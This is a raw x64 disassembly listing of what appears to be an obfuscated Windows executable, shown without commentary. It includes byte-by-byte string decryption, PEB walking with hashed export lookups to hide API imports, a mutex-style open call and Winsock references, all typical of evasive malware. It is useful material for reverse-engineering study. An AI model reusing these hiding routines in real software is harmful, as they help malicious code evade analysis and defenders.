mov dword [rsp + 0x58], 0x6563a967
mov dword [rsp + 0x5c], 0x7cae7965
mov dword [rsp + 0x60], 0x76666269
mov word [rsp + 0x64], 0xb479
mov byte [rsp + 0x66], 0xd6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x67], xmm0
mov qword [rsp + 0x77], rax
xor r10d, r10d
lea r9d, [rax + 0x30]
nop
movzx edx, byte [rsp + r10 + 0x50]
lea r8d, [r10 + 0x60]
movzx eax, dl
and al, r8b
mov ecx, r9d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r10 + 0x50], cl
inc r10
cmp r10, 0x2f
jb 0x1400140c0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [rbp - 0x50]
jmp 0x14001571e
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
movabs rcx, 0xacff7963fae19fa3
call fcn.1400108e0
test rax, rax
je 0x1400146be
mov dl, 0xac
mov r8b, 0xb2
mov r9b, 0xa0
mov r10b, 0x8c
mov r11b, 0x96
mov bl, 0xc9
mov dil, 0x93
mov sil, 0x99
mov r14b, 0x98
mov r15b, 0x9c
mov r12b, 0x9a
mov r13b, 0xe3
xor eax, eax
mov qword [rbp - 0x70], rax
mov dword [rsp + 0x3c], eax
movzx ecx, dl
and cl, 0xdd
add cl, cl
mov eax, 0xd2
sub al, cl
add dl, al
mov byte [rsp + 0x30], dl
movzx ecx, r8b
and cl, 0xde
add cl, cl
mov eax, 0xd3
sub al, cl
add r8b, al
mov byte [rsp + 0x31], r8b
movzx eax, r9b
and al, 0xdf
add al, al
mov ecx, 0xd4
sub cl, al
add r9b, cl
mov byte [rsp + 0x32], r9b
movzx eax, r10b
and al, 0xe0
add al, al
mov ecx, 0xd5
sub cl, al
add r10b, cl
mov byte [rsp + 0x33], r10b
movzx eax, r11b
and al, 0xe1
add al, al
mov ecx, 0xd6
sub cl, al
add r11b, cl
mov byte [rsp + 0x34], r11b
movzx eax, bl
and al, 0xe2
add al, al
mov ecx, 0xd7
sub cl, al
add bl, cl
mov byte [rsp + 0x35], bl
movzx eax, dil
and al, r13b
add al, al
mov ecx, 0xd8
sub cl, al
add dil, cl
mov byte [rsp + 0x36], dil
movzx eax, sil
and al, 0xe4
add al, al
mov ecx, 0xd9
sub cl, al
add sil, cl
mov byte [rsp + 0x37], sil
movzx eax, r14b
and al, 0xe5
add al, al
mov ecx, 0xda
sub cl, al
add r14b, cl
mov byte [rsp + 0x38], r14b
movzx eax, r15b
and al, 0xe6
add al, al
mov ecx, 0xdb
sub cl, al
add r15b, cl
mov byte [rsp + 0x39], r15b
movzx eax, r12b
and al, 0xe7
add al, al
mov ecx, 0xdc
sub cl, al
add r12b, cl
mov byte [rsp + 0x3a], r12b
movzx eax, r13b
and al, 0xe8
add al, al
mov ecx, 0xdd
sub cl, al
add r13b, cl
mov byte [rsp + 0x3b], r13b
mov rcx, qword [rbp - 0x70]
movzx eax, cl
and al, 0xe9
add al, al
mov edx, 0xde
sub dl, al
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xea
add al, al
mov edx, 0xdf
sub dl, al
add cl, dl
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0xeb
add al, al
mov edx, 0xe0
sub dl, al
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0xec
add al, al
mov edx, 0xe1
sub dl, al
add cl, dl
mov byte [rsp + 0x3f], cl
mov dword [rsp + 0x50], 0xd9c63213
mov dword [rsp + 0x54], 0xd968dddb
mov dword [rsp + 0x58], 0xca6cdfc5
mov dword [rsp + 0x5c], 0xdcdcdeda
mov dword [rsp + 0x60], 0x3e033e66
mov dword [rsp + 0x64], 0x5fede65a
mov dword [rsp + 0x68], 0xe1eef6e8
mov dword [rsp + 0x6c], 0x50e9e3ed
mov byte [rsp + 0x70], 0x76
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x71], xmm0
mov qword [rbp - 0x7f], rax
mov word [rbp - 0x77], ax
mov byte [rbp - 0x75], al
xor r8d, r8d
nop dword [rax]
movzx edx, byte [rsp + r8 + 0x50]
lea ecx, [r8 - 0x33]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x50], dl
movzx ecx, byte [rsp + r8 + 0x51]
lea edx, [r8 - 0x32]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x51], dl
movzx edx, byte [rsp + r8 + 0x52]
lea ecx, [r8 - 0x31]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x52], dl
movzx edx, byte [rsp + r8 + 0x53]
lea ecx, [r8 - 0x30]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x53], dl
movzx edx, byte [rsp + r8 + 0x54]
lea ecx, [r8 - 0x2f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x54], dl
movzx edx, byte [rsp + r8 + 0x55]
lea ecx, [r8 - 0x2e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x55], dl
movzx edx, byte [rsp + r8 + 0x56]
lea ecx, [r8 - 0x2d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x56], dl
movzx edx, byte [rsp + r8 + 0x57]
lea ecx, [r8 - 0x2c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x57], dl
movzx edx, byte [rsp + r8 + 0x58]
lea ecx, [r8 - 0x2b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x58], dl
movzx edx, byte [rsp + r8 + 0x59]
lea ecx, [r8 - 0x2a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x59], dl
movzx edx, byte [rsp + r8 + 0x5a]
lea ecx, [r8 - 0x29]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x5a], dl
movzx edx, byte [rsp + r8 + 0x5b]
lea ecx, [r8 - 0x28]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x5b], dl
movzx edx, byte [rsp + r8 + 0x5c]
lea ecx, [r8 - 0x27]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x5c], dl
movzx edx, byte [rsp + r8 + 0x5d]
lea ecx, [r8 - 0x26]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x5d], dl
movzx edx, byte [rsp + r8 + 0x5e]
lea ecx, [r8 - 0x25]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x5e], dl
movzx edx, byte [rsp + r8 + 0x5f]
lea ecx, [r8 - 0x24]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x5f], dl
movzx edx, byte [rsp + r8 + 0x60]
lea ecx, [r8 - 0x23]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x60], dl
movzx edx, byte [rsp + r8 + 0x61]
lea ecx, [r8 - 0x22]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x61], dl
movzx edx, byte [rsp + r8 + 0x62]
lea ecx, [r8 - 0x21]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x62], dl
movzx edx, byte [rsp + r8 + 0x63]
lea ecx, [r8 - 0x20]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x63], dl
movzx edx, byte [rsp + r8 + 0x64]
lea ecx, [r8 - 0x1f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x64], dl
movzx edx, byte [rsp + r8 + 0x65]
lea ecx, [r8 - 0x1e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x65], dl
movzx edx, byte [rsp + r8 + 0x66]
lea ecx, [r8 - 0x1d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x66], dl
movzx edx, byte [rsp + r8 + 0x67]
lea ecx, [r8 - 0x1c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x67], dl
movzx ecx, byte [rsp + r8 + 0x68]
lea edx, [r8 - 0x1b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x68], dl
movzx ecx, byte [rsp + r8 + 0x69]
lea edx, [r8 - 0x1a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x69], dl
movzx ecx, byte [rsp + r8 + 0x6a]
lea edx, [r8 - 0x19]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x6a], dl
movzx ecx, byte [rsp + r8 + 0x6b]
lea edx, [r8 - 0x18]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x6b], dl
movzx ecx, byte [rsp + r8 + 0x6c]
lea edx, [r8 - 0x17]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x6c], dl
movzx ecx, byte [rsp + r8 + 0x6d]
lea edx, [r8 - 0x16]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x65
add dl, cl
mov byte [rsp + r8 + 0x6d], dl
add r8, 0x1e
cmp r8, 0x3c
jb 0x140014330
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [rbp - 0x50]
jmp 0x14001571e
mov esi, 0xa9cf0bb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
cmp qword [rax + 0x30], 0
je 0x1400148ca
cmp word [rax + 0x48], 0
je 0x1400148ca
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r13d, r13d
je 0x140014753
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xd0c109d
cmp r9, r11
je 0x14001474a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140014720
cmp r10d, r13d
jne 0x1400148ca
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r15, rdx
shr r15, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x1400148ca
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400148ca
mov r12d, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop
dec ebx
lea rcx, [r11 + rbx*2]
movzx edx, word [rcx + r12]
lea rcx, [r11 + rdx*4]
mov edx, dword [rcx + r9]
add rdx, r11
mov qword [rbp - 0x50], rdx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r11
cmp rdx, rdi
jbe 0x1400147c8
lea rcx, [rdi + r15]
cmp rdx, rcx
jae 0x1400147c8
mov r14b, 1
jmp 0x1400147cb
xor r14b, r14b
mov r10d, 0xd0c109d
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14001480f
nop dword [rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400147e0
mov rdx, qword [rbp - 0x50]
cmp r10d, esi
je 0x14001482c
test ebx, ebx
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
jne 0x140014790
mov rax, qword [rax]
jmp 0x1400146d4
test r14b, r14b
je 0x1400148d2
mov esi, 0xd0c109d
mov r13d, esi
movzx r8d, byte [rdx]
cmp r8b, 0x2e
je 0x14001487b
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r13d
imul r13d, ecx, 0x1000193
inc rdx
movzx r8d, byte [rdx]
cmp r8b, 0x2e
jne 0x140014850
inc rdx
movzx r8d, byte [rdx]
test r8b, r8b
je 0x1400148b9
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jne 0x140014890
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400146d4
mov dl, 0xdc
mov r8b, 0xde
mov r9b, 0xd9
mov r10b, 0xd8
mov r11b, 0xd5
mov bl, 0xc7
mov dil, 0x1b
mov sil, 0xda
mov r14b, 0xc0
mov r15b, 0xcd
mov r12b, 0x7a
xorps xmm0, xmm0
xor r13d, r13d
movups xmmword [rbp - 0x2d], xmm0
mov dword [rbp - 0x1d], r13d
movzx eax, dl
and al, 0xce
mov ecx, 0x16
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x38], dl
movzx eax, r8b
and al, 0xcf
add al, al
mov ecx, 0x2d
sub cl, al
add r8b, cl
mov byte [rbp - 0x37], r8b
movzx eax, r9b
and al, 0xd0
mov ecx, 0x17
sub cl, al
add cl, cl
add r9b, cl
mov byte [rbp - 0x36], r9b
movzx eax, r10b
and al, 0xd1
add al, al
mov ecx, 0x2f
sub cl, al
add r10b, cl
mov byte [rbp - 0x35], r10b
movzx eax, r11b
and al, 0xd2
mov ecx, 0x18
sub cl, al
add cl, cl
add r11b, cl
mov byte [rbp - 0x34], r11b
movzx eax, bl
and al, 0xd3
add al, al
mov ecx, 0x31
sub cl, al
add bl, cl
mov byte [rbp - 0x33], bl
movzx eax, dil
and al, 0xd4
mov ecx, 0x19
sub cl, al
add cl, cl
add dil, cl
mov byte [rbp - 0x32], dil
movzx eax, sil
and al, 0xd5
add al, al
mov ecx, 0x33
sub cl, al
add sil, cl
mov byte [rbp - 0x31], sil
movzx eax, r14b
and al, 0xd6
mov ecx, 0x1a
sub cl, al
add cl, cl
add r14b, cl
mov byte [rbp - 0x30], r14b
movzx eax, r15b
and al, 0xd7
add al, al
mov ecx, 0x35
sub cl, al
add r15b, cl
mov byte [rbp - 0x2f], r15b
movzx eax, r12b
and al, 0xd8
mov ecx, 0x1b
sub cl, al
add cl, cl
add r12b, cl
mov byte [rbp - 0x2e], r12b
movd ecx, xmm0
movzx eax, cl
and al, 0xd9
add al, al
mov edx, 0x37
sub dl, al
add cl, dl
mov byte [rbp - 0x2d], cl
movzx ecx, byte [rbp - 0x2c]
movzx eax, cl
and al, 0xda
mov edx, 0x1c
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0xdb
add al, al
mov edx, 0x39
sub dl, al
add cl, dl
mov byte [rbp - 0x2b], cl
movzx edx, byte [rbp - 0x2a]
movzx eax, dl
and al, 0xdc
mov ecx, 0x1d
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x2a], dl
movzx edx, byte [rbp - 0x29]
movzx ecx, dl
and cl, 0xdd
add cl, cl
mov eax, 0x3b
sub al, cl
add dl, al
mov byte [rbp - 0x29], dl
movzx edx, byte [rbp - 0x28]
movzx eax, dl
and al, 0xde
mov ecx, 0x1e
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x28], dl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0xdf
add al, al
mov edx, 0x3d
sub dl, al
add cl, dl
mov byte [rbp - 0x27], cl
movzx edx, byte [rbp - 0x26]
movzx eax, dl
and al, 0xe0
mov ecx, 0x1f
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x26], dl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0xe1
add al, al
mov edx, 0x3f
sub dl, al
add cl, dl
mov byte [rbp - 0x25], cl
movzx edx, byte [rbp - 0x24]
movzx eax, dl
and al, 0xe2
mov ecx, 0x20
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x24], dl
movzx edx, byte [rbp - 0x23]
movzx ecx, dl
and cl, 0xe3
add cl, cl
mov eax, 0x41
sub al, cl
add dl, al
mov byte [rbp - 0x23], dl
movzx edx, byte [rbp - 0x22]
movzx eax, dl
and al, 0xe4
mov ecx, 0x21
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x22], dl
movzx edx, byte [rbp - 0x21]
movzx ecx, dl
and cl, 0xe5
add cl, cl
mov eax, 0x43
sub al, cl
add dl, al
mov byte [rbp - 0x21], dl
movzx edx, byte [rbp - 0x20]
movzx eax, dl
and al, 0xe6
mov ecx, 0x22
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x20], dl
movzx edx, byte [rbp - 0x1f]
movzx ecx, dl
and cl, 0xe7
add cl, cl
mov eax, 0x45
sub al, cl
add dl, al
mov byte [rbp - 0x1f], dl
movzx edx, byte [rbp - 0x1e]
movzx eax, dl
and al, 0xe8
mov ecx, 0x23
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x1e], dl
movzx ecx, r13b
and cl, 0xe9
add cl, cl
mov eax, 0x47
sub al, cl
add r13b, al
mov byte [rbp - 0x1d], r13b
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0xea
mov edx, 0x24
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0xeb
add al, al
mov edx, 0x49
sub dl, al
add cl, dl
mov byte [rbp - 0x1b], cl
movzx edx, byte [rbp - 0x1a]
movzx eax, dl
and al, 0xec
mov ecx, 0x25
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x1a], dl
lea r8, [rbp - 0x38]
xor edx, edx
mov ecx, 0x1f0001
call qword [rbp - 0x50]
test rax, rax
jne 0x14001571e
mov r14d, 0xf3b3ddcf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor r10d, r10d
nop dword [rax]
cmp qword [rax + 0x30], 0
je 0x140014de9
cmp word [rax + 0x48], 0
je 0x140014de9
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r10d, r10d
je 0x140014c73
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
mov r11d, 0x5acfbc1d
cmp r9, rbx
je 0x140014c6a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r11d
imul r11d, r8d, 0x1000193
add r9, 2
cmp r9, rbx
jne 0x140014c40
cmp r11d, r10d
jne 0x140014de9
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov rdx, qword [rcx + rbx + 0x88]
mov r12, rdx
shr r12, 0x20
mov esi, edx
add rsi, rbx
cmp rsi, rbx
je 0x140014de9
mov edi, dword [rsi + 0x18]
test edi, edi
je 0x140014de9
mov ecx, dword [rsi + 0x24]
mov r9d, dword [rsi + 0x1c]
mov r11d, dword [rsi + 0x20]
nop
dec edi
lea rcx, [rcx + rdi*2]
movzx edx, word [rcx + rbx]
lea rcx, [r9 + rdx*4]
mov r13d, dword [rcx + rbx]
add r13, rbx
lea rcx, [r11 + rdi*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
cmp r13, rsi
jbe 0x140014ce3
lea rcx, [rsi + r12]
cmp r13, rcx
jae 0x140014ce3
mov r15b, 1
jmp 0x140014ce6
xor r15b, r15b
mov r11d, 0x5acfbc1d
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140014d2b
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140014d00
cmp r11d, r14d
je 0x140014d4b
test edi, edi
mov ecx, dword [rsi + 0x24]
mov r9d, dword [rsi + 0x1c]
mov r11d, dword [rsi + 0x20]
jne 0x140014cb0
mov rax, qword [rax]
jmp 0x140014bf0
test r15b, r15b
je 0x140014df1
mov r10d, 0x5acfbc1d
mov r14d, r10d
movzx edx, byte [r13]
cmp dl, 0x2e
je 0x140014d98
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r10d
imul r10d, ecx, 0x1000193
inc r13
movzx edx, byte [r13]
cmp dl, 0x2e
jne 0x140014d70
inc r13
movzx edx, byte [r13]
test dl, dl
je 0x140014dd8
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea r13, [r13 + 1]
movzx edx, byte [r13]
test dl, dl
jne 0x140014db0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140014bf0
mov dl, 0xa8
mov r8b, 0xae
mov r9b, 0xb5
mov r10b, 0x49
mov r11b, 0x57
mov bl, reloc.WS2_32.dll_send
mov dil, 0x52
mov sil, 0x5c
mov r14b, 0x59
mov r15b, 0xe2
xor r12d, r12d
mov qword [rbp - 0x2d], r12
mov word [rbp - 0x25], r12w
movzx eax, dl
and al, 0xfc
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x38], dl
movzx eax, r8b
and al, 0xfd
add al, al
mov ecx, 0x19
sub cl, al
add r8b, cl
mov byte [rbp - 0x37], r8b
movzx eax, r9b
and al, 0xfe
mov ecx, recvfrom
sub cl, al
add cl, cl
add r9b, cl
mov byte [rbp - 0x36], r9b
mov eax, 0x1b
sub al, 0xb4
mov byte [rbp - 0x35], al
add r10b, 0x1c
mov byte [rbp - 0x34], r10b
movzx eax, r11b
and al, 1
add al, al
mov ecx, 0x1d
sub cl, al
add r11b, cl
mov byte [rbp - 0x33], r11b
movzx eax, bl
and al, 2
mov ecx, recvfrom
sub cl, al
add cl, cl
add bl, cl
mov byte [rbp - 0x32], bl
movzx eax, dil
and al, 3
add al, al
mov ecx, 0x1f
sub cl, al
add dil, cl
mov byte [rbp - 0x31], dil
movzx eax, sil
and al, 4
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add sil, cl
mov byte [rbp - 0x30], sil
movzx eax, r14b
and al, 5
add al, al
mov ecx, 0x21
sub cl, al
add r14b, cl
mov byte [rbp - 0x2f], r14b
movzx eax, r15b
and al, 6
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add r15b, cl
mov byte [rbp - 0x2e], r15b
movzx eax, r12b
and al, 7
add al, al
mov edx, 0x23
sub dl, al
lea ecx, [rdx + r12]
mov byte [rbp - 0x2d], cl
movzx edx, byte [rbp - 0x2c]
movzx eax, dl
and al, 8
mov ecx, sendto
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x2c], dl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 9
add al, al
mov edx, 0x25
sub dl, al
add cl, dl
mov byte [rbp - 0x2b], cl
movzx edx, byte [rbp - 0x2a]
movzx eax, dl
and al, 0xa
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x2a], dl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0xb
add al, al
mov edx, 0x27
sub dl, al
add cl, dl
mov byte [rbp - 0x29], cl
movzx ecx, byte [rbp - 0x28]
movzx eax, cl
and al, 0xc
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0xd
add al, al
mov edx, 0x29
sub dl, al
add cl, dl
mov byte [rbp - 0x27], cl
movzx edx, byte [rbp - 0x26]
movzx eax, dl
and al, 0xe
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x26], dl
movzx eax, r12b
and al, 0xf
add al, al
mov ecx, 0x2b
sub cl, al
add r12b, cl
mov byte [rbp - 0x25], r12b
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0x10
mov edx, 0x16
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x24], cl
lea r8, [rbp - 0x38]
xor edx, edx
xor ecx, ecx
call r13
mov ebx, 4
mov rax, qword gs:[0x58]
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x1401e4848], eax
jle 0x140015022
lea rcx, [0x1401e4848]
call fcn.1400cf7f0
cmp dword [0x1401e4848], 0xffffffff
jne 0x140015022
lea rcx, [0x1400fde40]
call fcn.1400cfd9c
lea rcx, [0x1401e4848]
call fcn.1400cf784
lea rcx, [0x1401ca530]
mov rax, qword [0x1401ca530]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [rbx]
cmp dword [0x1401e4848], eax
jle 0x14001506a
lea rcx, [0x1401e4848]
call fcn.1400cf7f0
cmp dword [0x1401e4848], 0xffffffff
jne 0x14001506a
lea rcx, [0x1400fde40]
call fcn.1400cfd9c
lea rcx, [0x1401e4848]
call fcn.1400cf784
lea rcx, [0x1401ca530]
mov rax, qword [0x1401ca530]
call qword [rax + 0x18]
mov eax, dword [rbx]
cmp dword [0x1401e4848], eax
jle 0x1400150b2
lea rcx, [0x1401e4848]
call fcn.1400cf7f0
cmp dword [0x1401e4848], 0xffffffff
jne 0x1400150b2
lea rcx, [0x1400fde40]
call fcn.1400cfd9c
lea rcx, [0x1401e4848]
call fcn.1400cf784
lea rcx, [0x1401ca530]
mov rax, qword [0x1401ca530]
call qword [rax + 0x20]
jmp 0x14001571e
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov cl, 0xf6
mov dl, 0x8c
mov r8b, 0xe6
mov r9b, 0x8a
mov r10b, 0xfc
mov r11b, 0x49
mov bl, 0xfb
mov dil, 0xe9
mov sil, 0xea
movzx r14d, cl
mov r15b, 0xec
mov r12b, 0x63
mov qword [rsp + 0x3c], r13
mov dword [rsp + 0x44], r13d
mov word [rsp + 0x48], r13w
movzx eax, cl
and al, 0x32
add al, al
mov dword [rbp - 0x48], 0xd4
sub byte [rbp - 0x48], al
add cl, byte [rbp - 0x48]
mov byte [rsp + 0x30], cl
movzx eax, dl
and al, 0x33
add al, al
mov ecx, 0xd5
sub cl, al
add dl, cl
mov byte [rsp + 0x31], dl
movzx eax, r8b
and al, 0x34
add al, al
mov ecx, 0xd6
sub cl, al
add r8b, cl
mov byte [rsp + 0x32], r8b
movzx eax, r9b
and al, 0x35
add al, al
mov ecx, 0xd7
sub cl, al
add r9b, cl
mov byte [rsp + 0x33], r9b
movzx eax, r10b
and al, 0x36
add al, al
mov ecx, 0xd8
sub cl, al
add r10b, cl
mov byte [rsp + 0x34], r10b
movzx eax, r11b
and al, 0x37
add al, al
mov ecx, 0xd9
sub cl, al
add r11b, cl
mov byte [rsp + 0x35], r11b
movzx eax, bl
and al, 0x38
add al, al
mov ecx, 0xda
sub cl, al
add bl, cl
mov byte [rsp + 0x36], bl
movzx eax, dil
and al, 0x39
add al, al
mov ecx, 0xdb
sub cl, al
add dil, cl
mov byte [rsp + 0x37], dil
movzx eax, sil
and al, 0x3a
add al, al
mov ecx, 0xdc
sub cl, al
add sil, cl
mov byte [rsp + 0x38], sil
movzx eax, r14b
and al, 0x3b
add al, al
mov ecx, 0xdd
sub cl, al
add r14b, cl
mov byte [rsp + 0x39], r14b
movzx eax, r15b
and al, 0x3c
add al, al
mov edx, 0xde
sub dl, al
add r15b, dl
mov byte [rsp + 0x3a], r15b
movzx eax, r12b
and al, 0x3d
add al, al
mov edx, 0xdf
sub dl, al
add r12b, dl
mov byte [rsp + 0x3b], r12b
